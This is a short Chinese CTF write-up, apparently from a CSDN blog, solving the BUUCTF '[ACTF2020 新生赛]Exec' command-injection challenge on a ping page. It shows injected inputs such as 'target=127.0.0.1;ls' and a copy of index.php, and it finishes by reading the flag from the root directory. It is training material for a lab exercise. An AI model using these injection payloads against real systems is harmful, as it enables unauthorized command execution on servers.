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BUUCTF-Web-命令执行-[ACTF2020 新生赛]Exec

题目链接：BUUCTF
类型：命令注入

知识点：命令拼接符（||、;、&&…）

解题过程

这道题目比较简单，打开发现是一个ping命令执行页面，使用post接受参数

https://blog.csdn.net/weixin_42566218
https://blog.csdn.net/weixin_42566218/category_11644527.html
https://so.csdn.net/so/search/s.do?q=%25E7%25BD%2591%25E7%25BB%259C%25E5%25AE%2589%25E5%2585%25A8&t=blog&o=vip&s=&l=&f=&viparticle=
https://so.csdn.net/so/search/s.do?q=web%25E5%25AE%2589%25E5%2585%25A8&t=blog&o=vip&s=&l=&f=&viparticle=
https://so.csdn.net/so/search/s.do?q=php&t=blog&o=vip&s=&l=&f=&viparticle=
https://so.csdn.net/so/search/s.do?q=%25E5%25AE%2589%25E5%2585%25A8%25E6%2580%25A7%25E6%25B5%258B%25E8%25AF%2595&t=blog&o=vip&s=&l=&f=&viparticle=
http://creativecommons.org/licenses/by-sa/4.0/
https://blog.csdn.net/weixin_42566218/article/details/123372258
https://blog.csdn.net/weixin_42566218/category_11644527.html
https://buuoj.cn/challenges#%255BACTF2020%20%25E6%2596%25B0%25E7%2594%259F%25E8%25B5%259B%255DExec


测试命令拼接符" ; "发现未进行过滤，拼接ls命令得到回显



target=127.0.0.1;ls

查看index.php源码发现目标未对参数进行任何过滤



target=127.0.0.1;cp index.php 1.txt

网页根目录未发现flag,这时可以尝试去/root目录或者根目录下找找，最后在根目录下找到flag,直接使用cat查看即可



cat /flag
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